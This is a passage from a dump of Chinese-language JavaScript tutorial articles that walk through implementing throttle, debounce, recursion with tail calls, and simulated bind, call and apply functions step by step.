star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之跟着underscore学节流.md ================================================ # JavaScript专题之跟着 underscore 学节流 ## 前言 在[《JavaScript专题之跟着underscore学防抖》](https://github.com/mqyqingfeng/Blog/issues/22)中,我们了解了为什么要限制事件的频繁触发,以及如何做限制: 1. debounce 防抖 2. throttle 节流 今天重点讲讲节流的实现。 ## 节流 节流的原理很简单: 如果你持续触发事件,每隔一段时间,只执行一次事件。 根据首次是否执行以及结束后是否执行,效果有所不同,实现的方式也有所不同。 我们用 leading 代表首次是否执行,trailing 代表结束后是否再执行一次。 关于节流的实现,有两种主流的实现方式,一种是使用时间戳,一种是设置定时器。 ## 使用时间戳 让我们来看第一种方法:使用时间戳,当触发事件的时候,我们取出当前的时间戳,然后减去之前的时间戳(最一开始值设为 0 ),如果大于设置的时间周期,就执行函数,然后更新时间戳为当前的时间戳,如果小于,就不执行。 看了这个表述,是不是感觉已经可以写出代码了…… 让我们来写第一版的代码: ```js // 第一版 function throttle(func, wait) { var context, args; var previous = 0; return function() { var now = +new Date(); context = this; args = arguments; if (now - previous > wait) { func.apply(context, args); previous = now; } } } ``` 例子依然是用讲 debounce 中的例子,如果你要使用: ```js container.onmousemove = throttle(getUserAction, 1000); ``` 效果演示如下: ![使用时间戳](https://github.com/mqyqingfeng/Blog/raw/master/Images/throttle/throttle1.gif) 我们可以看到:当鼠标移入的时候,事件立刻执行,每过 1s 会执行一次,如果在 4.2s 停止触发,以后不会再执行事件。 ## 使用定时器 接下来,我们讲讲第二种实现方式,使用定时器。 当触发事件的时候,我们设置一个定时器,再触发事件的时候,如果定时器存在,就不执行,直到定时器执行,然后执行函数,清空定时器,这样就可以设置下个定时器。 ```js // 第二版 function throttle(func, wait) { var timeout; var previous = 0; return function() { context = this; args = arguments; if (!timeout) { timeout = setTimeout(function(){ timeout = null; func.apply(context, args) }, wait) } } } ``` 为了让效果更加明显,我们设置 wait 的时间为 3s,效果演示如下: ![使用定时器](https://github.com/mqyqingfeng/Blog/raw/master/Images/throttle/throttle2.gif) 我们可以看到:当鼠标移入的时候,事件不会立刻执行,晃了 3s 后终于执行了一次,此后每 3s 执行一次,当数字显示为 3 的时候,立刻移出鼠标,相当于大约 9.2s 的时候停止触发,但是依然会在第 12s 的时候执行一次事件。 所以比较两个方法: 1. 第一种事件会立刻执行,第二种事件会在 n 秒后第一次执行 2. 第一种事件停止触发后没有办法再执行事件,第二种事件停止触发后依然会再执行一次事件 ## 双剑合璧 那我们想要一个什么样的呢? 有人就说了:我想要一个有头有尾的!就是鼠标移入能立刻执行,停止触发的时候还能再执行一次! 所以我们综合两者的优势,然后双剑合璧,写一版代码: ```js // 第三版 function throttle(func, wait) { var timeout, context, args, result; var previous = 0; var later = function() { previous = +new Date(); timeout = null; func.apply(context, args) }; var throttled = function() { var now = +new Date(); //下次触发 func 剩余的时间 var remaining = wait - (now - previous); context = this; args = arguments; // 如果没有剩余的时间了或者你改了系统时间 if (remaining <= 0 || remaining > wait) { if (timeout) { clearTimeout(timeout); timeout = null; } previous = now; func.apply(context, args); } else if (!timeout) { timeout = setTimeout(later, remaining); } }; return throttled; } ``` 效果演示如下: ![throttle3](https://github.com/mqyqingfeng/Blog/raw/master/Images/throttle/throttle3.gif) 我们可以看到:鼠标移入,事件立刻执行,晃了 3s,事件再一次执行,当数字变成 3 的时候,也就是 6s 后,我们立刻移出鼠标,停止触发事件,9s 的时候,依然会再执行一次事件。 ## 优化 但是我有时也希望无头有尾,或者有头无尾,这个咋办? 那我们设置个 options 作为第三个参数,然后根据传的值判断到底哪种效果,我们约定: leading:false 表示禁用第一次执行 trailing: false 表示禁用停止触发的回调 我们来改一下代码: ```js // 第四版 function throttle(func, wait, options) { var timeout, context, args, result; var previous = 0; if (!options) options = {}; var later = function() { previous = options.leading === false ? 0 : new Date().getTime(); timeout = null; func.apply(context, args); if (!timeout) context = args = null; }; var throttled = function() { var now = new Date().getTime(); if (!previous && options.leading === false) previous = now; var remaining = wait - (now - previous); context = this; args = arguments; if (remaining <= 0 || remaining > wait) { if (timeout) { clearTimeout(timeout); timeout = null; } previous = now; func.apply(context, args); if (!timeout) context = args = null; } else if (!timeout && options.trailing !== false) { timeout = setTimeout(later, remaining); } }; return throttled; } ``` ## 取消 在 debounce 的实现中,我们加了一个 cancel 方法,throttle 我们也加个 cancel 方法: ```js // 第五版 非完整代码,完整代码请查看最后的演示代码链接 ... throttled.cancel = function() { clearTimeout(timeout); previous = 0; timeout = null; } ... ``` ## 注意 我们要注意 underscore 的实现中有这样一个问题: 那就是 `leading:false` 和 `trailing: false` 不能同时设置。 如果同时设置的话,比如当你将鼠标移出的时候,因为 trailing 设置为 false,停止触发的时候不会设置定时器,所以只要再过了设置的时间,再移入的话,就会立刻执行,就违反了 leading: false,bug 就出来了,所以,这个 throttle 只有三种用法: ```js container.onmousemove = throttle(getUserAction, 1000); container.onmousemove = throttle(getUserAction, 1000, { leading: false }); container.onmousemove = throttle(getUserAction, 1000, { trailing: false }); ``` 至此我们已经完整实现了一个 underscore 中的 throttle 函数,恭喜,撒花! ## 演示代码 相关的代码可以在 [Github 博客仓库](https://github.com/mqyqingfeng/Blog/tree/master/demos/throttle) 中找到 ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之跟着underscore学防抖.md ================================================ # JavaScript专题之跟着underscore学防抖 ## 前言 在前端开发中会遇到一些频繁的事件触发,比如: 1. window 的 resize、scroll 2. mousedown、mousemove 3. keyup、keydown …… 为此,我们举个示例代码来了解事件如何频繁的触发: 我们写个 `index.html` 文件: ```html debounce
``` `debounce.js` 文件的代码如下: ```js var count = 1; var container = document.getElementById('container'); function getUserAction() { container.innerHTML = count++; }; container.onmousemove = getUserAction; ``` 我们来看看效果: ![debounce](https://github.com/mqyqingfeng/Blog/raw/master/Images/debounce/debounce.gif) 从左边滑到右边就触发了 165 次 getUserAction 函数! 因为这个例子很简单,所以浏览器完全反应的过来,可是如果是复杂的回调函数或是 ajax 请求呢?假设 1 秒触发了 60 次,每个回调就必须在 1000 / 60 = 16.67ms 内完成,否则就会有卡顿出现。 为了解决这个问题,一般有两种解决方案: 1. debounce 防抖 2. throttle 节流 今天重点讲讲防抖的实现。 ## 防抖 防抖的原理就是:你尽管触发事件,但是我一定在事件停止触发 n 秒后才执行。 这意味着如果你在一个事件触发的 n 秒内又触发了这个事件,那我就以新的事件触发的时间为准,在此时间 n 秒后才执行。 总之,就是要等你触发完事件 n 秒内不再触发事件,我才执行,真是任性呐! ## 第一版 根据这段表述,我们可以轻松写出第一版的代码: ```js // 第一版 function debounce(func, wait) { var timeout; return function () { clearTimeout(timeout) timeout = setTimeout(func, wait); } } ``` 如果我们要使用它,以最一开始的例子为例: ```js container.onmousemove = debounce(getUserAction, 1000); ``` 现在随你怎么移动,反正你移动完 1000ms 内不再触发,我才执行事件。看看使用效果: ![debounce 第一版](https://github.com/mqyqingfeng/Blog/raw/master/Images/debounce/debounce-1.gif) 顿时就从 165 次降低成了 1 次! 棒棒哒,我们接着完善它。 ## this 如果我们在 `getUserAction` 函数中 `console.log(this)`,在不使用 `debounce` 函数的时候,`this` 的值为: ```html
``` 但是如果使用我们的 debounce 函数,this 就会指向 Window 对象! 所以我们需要将 this 指向正确的对象。 我们修改下代码: ```js // 第二版 function debounce(func, wait) { var timeout; return function () { var context = this; clearTimeout(timeout) timeout = setTimeout(function(){ func.apply(context) }, wait); } } ``` 现在 this 已经可以正确指向了。让我们看下个问题: ## event 对象 JavaScript 在事件处理函数中会提供事件对象 event,我们修改下 getUserAction 函数: ```js function getUserAction(e) { console.log(e); container.innerHTML = count++; }; ``` 如果我们不使用 debouce 函数,这里会打印 MouseEvent 对象,如图所示: ![MouseEvent](https://github.com/mqyqingfeng/Blog/raw/master/Images/debounce/event.png) 但是在我们实现的 debounce 函数中,却只会打印 undefined! 所以我们再修改一下代码: ```js // 第三版 function debounce(func, wait) { var timeout; return function () { var context = this; var args = arguments; clearTimeout(timeout) timeout = setTimeout(function(){ func.apply(context, args) }, wait); } } ``` 到此为止,我们修复了两个小问题: 1. this 指向 2. event 对象 ## 立刻执行 这个时候,代码已经很是完善了,但是为了让这个函数更加完善,我们接下来思考一个新的需求。 这个需求就是: 我不希望非要等到事件停止触发后才执行,我希望立刻执行函数,然后等到停止触发 n 秒后,才可以重新触发执行。 想想这个需求也是很有道理的嘛,那我们加个 immediate 参数判断是否是立刻执行。 ```js // 第四版 function debounce(func, wait, immediate) { var timeout, result; return function () { var context = this; var args = arguments; if (timeout) clearTimeout(timeout); if (immediate) { // 如果已经执行过,不再执行 var callNow = !timeout; timeout = setTimeout(function(){ timeout = null; }, wait) if (callNow) func.apply(context, args) } else { timeout = setTimeout(function(){ func.apply(context, args) }, wait); } } } ``` 再来看看使用效果: ![debounce 第四版](https://github.com/mqyqingfeng/Blog/raw/master/Images/debounce/debounce-4.gif) ## 返回值 此时注意一点,就是 getUserAction 函数可能是有返回值的,所以我们也要返回函数的执行结果,但是当 immediate 为 false 的时候,因为使用了 setTimeout ,我们将 func.apply(context, args) 的返回值赋给变量,最后再 return 的时候,值将会一直是 undefined,所以我们只在 immediate 为 true 的时候返回函数的执行结果。 ```js // 第五版 function debounce(func, wait, immediate) { var timeout, result; return function () { var context = this; var args = arguments; if (timeout) clearTimeout(timeout); if (immediate) { // 如果已经执行过,不再执行 var callNow = !timeout; timeout = setTimeout(function(){ timeout = null; }, wait) if (callNow) result = func.apply(context, args) } else { timeout = setTimeout(function(){ func.apply(context, args) }, wait); } return result; } } ``` ## 取消 最后我们再思考一个小需求,我希望能取消 debounce 函数,比如说我 debounce 的时间间隔是 10 秒钟,immediate 为 true,这样的话,我只有等 10 秒后才能重新触发事件,现在我希望有一个按钮,点击后,取消防抖,这样我再去触发,就可以又立刻执行啦,是不是很开心? 为了这个需求,我们写最后一版的代码: ```js // 第六版 function debounce(func, wait, immediate) { var timeout, result; var debounced = function () { var context = this; var args = arguments; if (timeout) clearTimeout(timeout); if (immediate) { // 如果已经执行过,不再执行 var callNow = !timeout; timeout = setTimeout(function(){ timeout = null; }, wait) if (callNow) result = func.apply(context, args) } else { timeout = setTimeout(function(){ func.apply(context, args) }, wait); } return result; }; debounced.cancel = function() { clearTimeout(timeout); timeout = null; }; return debounced; } ``` 那么该如何使用这个 cancel 函数呢?依然是以上面的 demo 为例: ```js var count = 1; var container = document.getElementById('container'); function getUserAction(e) { container.innerHTML = count++; }; var setUseAction = debounce(getUserAction, 10000, true); container.onmousemove = setUseAction; document.getElementById("button").addEventListener('click', function(){ setUseAction.cancel(); }) ``` 演示效果如下: ![debounce-cancel](https://raw.githubusercontent.com/mqyqingfeng/Blog/master/Images/debounce/debounce-cancel.gif) 至此我们已经完整实现了一个 underscore 中的 debounce 函数,恭喜,撒花! ## 演示代码 相关的代码可以在 [Github 博客仓库](https://github.com/mqyqingfeng/Blog/tree/master/demos/debounce) 中找到 ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/专题系列文章/JavaScript专题之递归.md ================================================ # JavaScript专题之递归 ## 定义 程序调用自身的编程技巧称为递归(recursion)。 ## 阶乘 以阶乘为例: ```js function factorial(n) { if (n == 1) return n; return n * factorial(n - 1) } console.log(factorial(5)) // 5 * 4 * 3 * 2 * 1 = 120 ``` 示意图(图片来自 [wwww.penjee.com](wwww.penjee.com)): ![阶乘](https://github.com/mqyqingfeng/Blog/raw/master/Images/recursion/factorial.gif) ## 斐波那契数列 在[《JavaScript专题之函数记忆》](https://github.com/mqyqingfeng/Blog/issues/46)中讲到过的斐波那契数列也使用了递归: ```js function fibonacci(n){ return n < 2 ? n : fibonacci(n - 1) + fibonacci(n - 2); } console.log(fibonacci(5)) // 1 1 2 3 5 ``` ## 递归条件 从这两个例子中,我们可以看出: 构成递归需具备边界条件、递归前进段和递归返回段,当边界条件不满足时,递归前进,当边界条件满足时,递归返回。阶乘中的 `n == 1` 和 斐波那契数列中的 `n < 2` 都是边界条件。 总结一下递归的特点: 1. 子问题须与原始问题为同样的事,且更为简单; 2. 不能无限制地调用本身,须有个出口,化简为非递归状况处理。 了解这些特点可以帮助我们更好的编写递归函数。 ## 执行上下文栈 在[《JavaScript深入之执行上下文栈》](https://github.com/mqyqingfeng/Blog/issues/4)中,我们知道: 当执行一个函数的时候,就会创建一个执行上下文,并且压入执行上下文栈,当函数执行完毕的时候,就会将函数的执行上下文从栈中弹出。 试着对阶乘函数分析执行的过程,我们会发现,JavaScript 会不停的创建执行上下文压入执行上下文栈,对于内存而言,维护这么多的执行上下文也是一笔不小的开销呐!那么,我们该如何优化呢? 答案就是尾调用。 ## 尾调用 尾调用,是指函数内部的最后一个动作是函数调用。该调用的返回值,直接返回给函数。 举个例子: ```js // 尾调用 function f(x){ return g(x); } ``` 然而 ```js // 非尾调用 function f(x){ return g(x) + 1; } ``` 并不是尾调用,因为 g(x) 的返回值还需要跟 1 进行计算后,f(x)才会返回值。 两者又有什么区别呢?答案就是执行上下文栈的变化不一样。 为了模拟执行上下文栈的行为,让我们定义执行上下文栈是一个数组: ```js ECStack = []; ``` 我们模拟下第一个尾调用函数执行时的执行上下文栈变化: ```js // 伪代码 ECStack.push( functionContext); ECStack.pop(); ECStack.push( functionContext); ECStack.pop(); ``` 我们再来模拟一下第二个非尾调用函数执行时的执行上下文栈变化: ```js ECStack.push( functionContext); ECStack.push( functionContext); ECStack.pop(); ECStack.pop(); ``` 也就说尾调用函数执行时,虽然也调用了一个函数,但是因为原来的的函数执行完毕,执行上下文会被弹出,执行上下文栈中相当于只多压入了一个执行上下文。然而非尾调用函数,就会创建多个执行上下文压入执行上下文栈。 函数调用自身,称为递归。如果尾调用自身,就称为尾递归。 所以我们只用把阶乘函数改造成一个尾递归形式,就可以避免创建那么多的执行上下文。但是我们该怎么做呢? ## 阶乘函数优化 我们需要做的就是把所有用到的内部变量改写成函数的参数,以阶乘函数为例: ```js function factorial(n, res) { if (n == 1) return res; return factorial2(n - 1, n * res) } console.log(factorial(4, 1)) // 24 ``` 然而这个很奇怪呐……我们计算 4 的阶乘,结果函数要传入 4 和 1,我就不能只传入一个 4 吗? 这个时候就要用到我们在[《JavaScript专题之柯里化》](https://github.com/mqyqingfeng/Blog/issues/42)中编写的 curry 函数了: ```js var newFactorial = curry(factorial, _, 1) newFactorial(5) // 24 ``` ## 应用 如果你看过 [JavaScript 专题系列](https://github.com/mqyqingfeng/Blog)的文章,你会发现递归有着很多的应用。 作为专题系列的第十八篇,我们来盘点下之前的文章中都有哪些涉及到了递归: 1.[《JavaScript 专题之数组扁平化》](https://github.com/mqyqingfeng/Blog/issues/36): ```js function flatten(arr) { return arr.reduce(function(prev, next){ return prev.concat(Array.isArray(next) ? flatten(next) : next) }, []) } ``` 2.[《JavaScript 专题之深浅拷贝》](https://github.com/mqyqingfeng/Blog/issues/32): ```js var deepCopy = function(obj) { if (typeof obj !== 'object') return; var newObj = obj instanceof Array ? [] : {}; for (var key in obj) { if (obj.hasOwnProperty(key)) { newObj[key] = typeof obj[key] === 'object' ? deepCopy(obj[key]) : obj[key]; } } return newObj; } ``` 3.[JavaScript 专题之从零实现 jQuery 的 extend](https://github.com/mqyqingfeng/Blog/issues/33): ```js // 非完整版本,完整版本请点击查看具体的文章 function extend() { ... // 循环遍历要复制的对象们 for (; i < length; i++) { // 获取当前对象 options = arguments[i]; // 要求不能为空 避免extend(a,,b)这种情况 if (options != null) { for (name in options) { // 目标属性值 src = target[name]; // 要复制的对象的属性值 copy = options[name]; if (deep && copy && typeof copy == 'object') { // 递归调用 target[name] = extend(deep, src, copy); } else if (copy !== undefined){ target[name] = copy; } } } } ... }; ``` 4.[《JavaScript 专题之如何判断两个对象相等》](https://github.com/mqyqingfeng/Blog/issues/41): ```js // 非完整版本,完整版本请点击查看具体的文章 // 属于间接调用 function eq(a, b, aStack, bStack) { ... // 更复杂的对象使用 deepEq 函数进行深度比较 return deepEq(a, b, aStack, bStack); }; function deepEq(a, b, aStack, bStack) { ... // 数组判断 if (areArrays) { length = a.length; if (length !== b.length) return false; while (length--) { if (!eq(a[length], b[length], aStack, bStack)) return false; } } // 对象判断 else { var keys = Object.keys(a), key; length = keys.length; if (Object.keys(b).length !== length) return false; while (length--) { key = keys[length]; if (!(b.hasOwnProperty(key) && eq(a[key], b[key], aStack, bStack))) return false; } } } ``` 5.[《JavaScript 专题之函数柯里化》](https://github.com/mqyqingfeng/Blog/issues/42): ```js // 非完整版本,完整版本请点击查看具体的文章 function curry(fn, args) { length = fn.length; args = args || []; return function() { var _args = args.slice(0), arg, i; for (i = 0; i < arguments.length; i++) { arg = arguments[i]; _args.push(arg); } if (_args.length < length) { return curry.call(this, fn, _args); } else { return fn.apply(this, _args); } } } ``` ## 写在最后 递归的内容远不止这些,比如还有汉诺塔、二叉树遍历等递归场景,本篇就不过多展开,真希望未来能写个算法系列。 ## 专题系列 JavaScript专题系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript专题系列预计写二十篇左右,主要研究日常开发中一些功能点的实现,比如防抖、节流、去重、类型判断、拷贝、最值、扁平、柯里、递归、乱序、排序等,特点是研(chao)究(xi) underscore 和 jQuery 的实现方式。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎 star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之bind的模拟实现.md ================================================ # JavaScript深入之bind的模拟实现 > JavaScript深入系列第十一篇,通过bind函数的模拟实现,带大家真正了解bind的特性 ## bind 一句话介绍 bind: >bind() 方法会创建一个新函数。当这个新函数被调用时,bind() 的第一个参数将作为它运行时的 this,之后的一序列参数将会在传递的实参前传入作为它的参数。(来自于 MDN ) 由此我们可以首先得出 bind 函数的两个特点: 1. 返回一个函数 2. 可以传入参数 ## 返回函数的模拟实现 从第一个特点开始,我们举个例子: ```js var foo = { value: 1 }; function bar() { console.log(this.value); } // 返回了一个函数 var bindFoo = bar.bind(foo); bindFoo(); // 1 ``` 关于指定 this 的指向,我们可以使用 call 或者 apply 实现,关于 call 和 apply 的模拟实现,可以查看[《JavaScript深入之call和apply的模拟实现》](https://github.com/mqyqingfeng/Blog/issues/11)。我们来写第一版的代码: ```js // 第一版 Function.prototype.bind2 = function (context) { var self = this; return function () { return self.apply(context); } } ``` 此外,之所以 `return self.apply(context)`,是考虑到绑定函数可能是有返回值的,依然是这个例子: ```js var foo = { value: 1 }; function bar() { return this.value; } var bindFoo = bar.bind(foo); console.log(bindFoo()); // 1 ``` ## 传参的模拟实现 接下来看第二点,可以传入参数。这个就有点让人费解了,我在 bind 的时候,是否可以传参呢?我在执行 bind 返回的函数的时候,可不可以传参呢?让我们看个例子: ```js var foo = { value: 1 }; function bar(name, age) { console.log(this.value); console.log(name); console.log(age); } var bindFoo = bar.bind(foo, 'daisy'); bindFoo('18'); // 1 // daisy // 18 ``` 函数需要传 name 和 age 两个参数,竟然还可以在 bind 的时候,只传一个 name,在执行返回的函数的时候,再传另一个参数 age! 这可咋办?不急,我们用 arguments 进行处理: ```js // 第二版 Function.prototype.bind2 = function (context) { var self = this; // 获取bind2函数从第二个参数到最后一个参数 var args = Array.prototype.slice.call(arguments, 1); return function () { // 这个时候的arguments是指bind返回的函数传入的参数 var bindArgs = Array.prototype.slice.call(arguments); return self.apply(context, args.concat(bindArgs)); } } ``` ## 构造函数效果的模拟实现 完成了这两点,最难的部分到啦!因为 bind 还有一个特点,就是 >一个绑定函数也能使用new操作符创建对象:这种行为就像把原函数当成构造器。提供的 this 值被忽略,同时调用时的参数被提供给模拟函数。 也就是说当 bind 返回的函数作为构造函数的时候,bind 时指定的 this 值会失效,但传入的参数依然生效。举个例子: ```js var value = 2; var foo = { value: 1 }; function bar(name, age) { this.habit = 'shopping'; console.log(this.value); console.log(name); console.log(age); } bar.prototype.friend = 'kevin'; var bindFoo = bar.bind(foo, 'daisy'); var obj = new bindFoo('18'); // undefined // daisy // 18 console.log(obj.habit); console.log(obj.friend); // shopping // kevin ``` 注意:尽管在全局和 foo 中都声明了 value 值,最后依然返回了 undefind,说明绑定的 this 失效了,如果大家了解 new 的模拟实现,就会知道这个时候的 this 已经指向了 obj。 (哈哈,我这是为我的下一篇文章[《JavaScript深入系列之new的模拟实现》](https://github.com/mqyqingfeng/Blog/issues/13)打广告)。 所以我们可以通过修改返回的函数的原型来实现,让我们写一下: ```js // 第三版 Function.prototype.bind2 = function (context) { var self = this; var args = Array.prototype.slice.call(arguments, 1); var fBound = function () { var bindArgs = Array.prototype.slice.call(arguments); // 当作为构造函数时,this 指向实例,此时结果为 true,将绑定函数的 this 指向该实例,可以让实例获得来自绑定函数的值 // 以上面的是 demo 为例,如果改成 `this instanceof fBound ? null : context`,实例只是一个空对象,将 null 改成 this ,实例会具有 habit 属性 // 当作为普通函数时,this 指向 window,此时结果为 false,将绑定函数的 this 指向 context return self.apply(this instanceof fBound ? this : context, args.concat(bindArgs)); } // 修改返回函数的 prototype 为绑定函数的 prototype,实例就可以继承绑定函数的原型中的值 fBound.prototype = this.prototype; return fBound; } ``` 如果对原型链稍有困惑,可以查看[《JavaScript深入之从原型到原型链》](https://github.com/mqyqingfeng/Blog/issues/2)。 ## 构造函数效果的优化实现 但是在这个写法中,我们直接将 fBound.prototype = this.prototype,我们直接修改 fBound.prototype 的时候,也会直接修改绑定函数的 prototype。这个时候,我们可以通过一个空函数来进行中转: ```js // 第四版 Function.prototype.bind2 = function (context) { var self = this; var args = Array.prototype.slice.call(arguments, 1); var fNOP = function () {}; var fBound = function () { var bindArgs = Array.prototype.slice.call(arguments); return self.apply(this instanceof fNOP ? this : context, args.concat(bindArgs)); } fNOP.prototype = this.prototype; fBound.prototype = new fNOP(); return fBound; } ``` 到此为止,大的问题都已经解决,给自己一个赞!o( ̄▽ ̄)d ## 三个小问题 接下来处理些小问题: **1.apply 这段代码跟 MDN 上的稍有不同** 在 MDN 中文版讲 bind 的模拟实现时,apply 这里的代码是: ```js self.apply(this instanceof self ? this : context || this, args.concat(bindArgs)) ``` 多了一个关于 context 是否存在的判断,然而这个是错误的! 举个例子: ```js var value = 2; var foo = { value: 1, bar: bar.bind(null) }; function bar() { console.log(this.value); } foo.bar() // 2 ``` 以上代码正常情况下会打印 2,如果换成了 context || this,这段代码就会打印 1! 所以这里不应该进行 context 的判断,大家查看 MDN 同样内容的英文版,就不存在这个判断! **2.调用 bind 的不是函数咋办?** 不行,我们要报错! ```js if (typeof this !== "function") { throw new Error("Function.prototype.bind - what is trying to be bound is not callable"); } ``` **3.我要在线上用** 那别忘了做个兼容: ```js Function.prototype.bind = Function.prototype.bind || function () { …… }; ``` 当然最好是用 [es5-shim](https://github.com/es-shims/es5-shim) 啦。 ## 最终代码 所以最最后的代码就是: ```js Function.prototype.bind2 = function (context) { if (typeof this !== "function") { throw new Error("Function.prototype.bind - what is trying to be bound is not callable"); } var self = this; var args = Array.prototype.slice.call(arguments, 1); var fNOP = function () {}; var fBound = function () { var bindArgs = Array.prototype.slice.call(arguments); return self.apply(this instanceof fNOP ? this : context, args.concat(bindArgs)); } fNOP.prototype = this.prototype; fBound.prototype = new fNOP(); return fBound; } ``` ## 下一篇文章 [《JavaScript深入系列之new的模拟实现》](https://github.com/mqyqingfeng/Blog/issues/13) ## 相关链接 [《JavaScript深入之从原型到原型链》](https://github.com/mqyqingfeng/Blog/issues/2) [《JavaScript深入之call和apply的模拟实现》](https://github.com/mqyqingfeng/Blog/issues/11) [《JavaScript深入系列之new的模拟实现》](https://github.com/mqyqingfeng/Blog/issues/13) ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之call和apply的模拟实现.md ================================================ # JavaScript深入之call和apply的模拟实现 >JavaScript深入系列第十篇,通过call和apply的模拟实现,带你揭开call和apply改变this的真相 ## call 一句话介绍 call: >call() 方法在使用一个指定的 this 值和若干个指定的参数值的前提下调用某个函数或方法。 举个例子: ```js var foo = { value: 1 }; function bar() { console.log(this.value); } bar.call(foo); // 1 ``` 注意两点: 1. call 改变了 this 的指向,指向到 foo 2. bar 函数执行了 ## 模拟实现第一步 那么我们该怎么模拟实现这两个效果呢? 试想当调用 call 的时候,把 foo 对象改造成如下: ```js var foo = { value: 1, bar: function() { console.log(this.value) } }; foo.bar(); // 1 ``` 这个时候 this 就指向了 foo,是不是很简单呢? 但是这样却给 foo 对象本身添加了一个属性,这可不行呐! 不过也不用担心,我们用 delete 再删除它不就好了~ 所以我们模拟的步骤可以分为: 1. 将函数设为对象的属性 2. 执行该函数 3. 删除该函数 以上个例子为例,就是: ```js // 第一步 foo.fn = bar // 第二步 foo.fn() // 第三步 delete foo.fn ``` fn 是对象的属性名,反正最后也要删除它,所以起成什么都无所谓。 根据这个思路,我们可以尝试着去写第一版的 **call2** 函数: ```js // 第一版 Function.prototype.call2 = function(context) { // 首先要获取调用call的函数,用this可以获取 context.fn = this; context.fn(); delete context.fn; } // 测试一下 var foo = { value: 1 }; function bar() { console.log(this.value); } bar.call2(foo); // 1 ``` 正好可以打印 1 哎!是不是很开心!(~ ̄▽ ̄)~ ## 模拟实现第二步 最一开始也讲了,call 函数还能给定参数执行函数。举个例子: ```js var foo = { value: 1 }; function bar(name, age) { console.log(name) console.log(age) console.log(this.value); } bar.call(foo, 'kevin', 18); // kevin // 18 // 1 ``` 注意:传入的参数并不确定,这可咋办? 不急,我们可以从 Arguments 对象中取值,取出第二个到最后一个参数,然后放到一个数组里。 比如这样: ```js // 以上个例子为例,此时的arguments为: // arguments = { // 0: foo, // 1: 'kevin', // 2: 18, // length: 3 // } // 因为arguments是类数组对象,所以可以用for循环 var args = []; for(var i = 1, len = arguments.length; i < len; i++) { args.push('arguments[' + i + ']'); } // 执行后 args为 ["arguments[1]", "arguments[2]", "arguments[3]"] ``` 不定长的参数问题解决了,我们接着要把这个参数数组放到要执行的函数的参数里面去。 ```js // 将数组里的元素作为多个参数放进函数的形参里 context.fn(args.join(',')) // (O_o)?? // 这个方法肯定是不行的啦!!! ``` 也许有人想到用 ES6 的方法,不过 call 是 ES3 的方法,我们为了模拟实现一个 ES3 的方法,要用到ES6的方法,好像……,嗯,也可以啦。但是我们这次用 eval 方法拼成一个函数,类似于这样: ```js eval('context.fn(' + args +')') ``` 这里 args 会自动调用 Array.toString() 这个方法。 所以我们的第二版克服了两个大问题,代码如下: ```js // 第二版 Function.prototype.call2 = function(context) { context.fn = this; var args = []; for(var i = 1, len = arguments.length; i < len; i++) { args.push('arguments[' + i + ']'); } eval('context.fn(' + args +')'); delete context.fn; } // 测试一下 var foo = { value: 1 }; function bar(name, age) { console.log(name) console.log(age) console.log(this.value); } bar.call2(foo, 'kevin', 18); // kevin // 18 // 1 ``` (๑•̀ㅂ•́)و✧ ## 模拟实现第三步 模拟代码已经完成 80%,还有两个小点要注意: **1.this 参数可以传 null,当为 null 的时候,视为指向 window** 举个例子: ```js var value = 1; function bar() { console.log(this.value); } bar.call(null); // 1 ``` 虽然这个例子本身不使用 call,结果依然一样。 **2.函数是可以有返回值的!** 举个例子: ```js var obj = { value: 1 } function bar(name, age) { return { value: this.value, name: name, age: age } } console.log(bar.call(obj, 'kevin', 18)); // Object { // value: 1, // name: 'kevin', // age: 18 // } ``` 不过都很好解决,让我们直接看第三版也就是最后一版的代码: ```js // 第三版 Function.prototype.call2 = function (context) { var context = context || window; context.fn = this; var args = []; for(var i = 1, len = arguments.length; i < len; i++) { args.push('arguments[' + i + ']'); } var result = eval('context.fn(' + args +')'); delete context.fn return result; } // 测试一下 var value = 2; var obj = { value: 1 } function bar(name, age) { console.log(this.value); return { value: this.value, name: name, age: age } } bar.call(null); // 2 console.log(bar.call2(obj, 'kevin', 18)); // 1 // Object { // value: 1, // name: 'kevin', // age: 18 // } ``` 到此,我们完成了 call 的模拟实现,给自己一个赞 b( ̄▽ ̄)d ## apply的模拟实现 apply 的实现跟 call 类似,在这里直接给代码,代码来自于知乎 @郑航的实现: ```js Function.prototype.apply = function (context, arr) { var context = Object(context) || window; context.fn = this; var result; if (!arr) { result = context.fn(); } else { var args = []; for (var i = 0, len = arr.length; i < len; i++) { args.push('arr[' + i + ']'); } result = eval('context.fn(' + args + ')') } delete context.fn return result; } ``` ## 下一篇文章 [JavaScript深入之bind的模拟实现](https://github.com/mqyqingfeng/Blog/issues/12) ## 重要参考 [知乎问题 不能使用call、apply、bind,如何用 js 实现 call 或者 apply 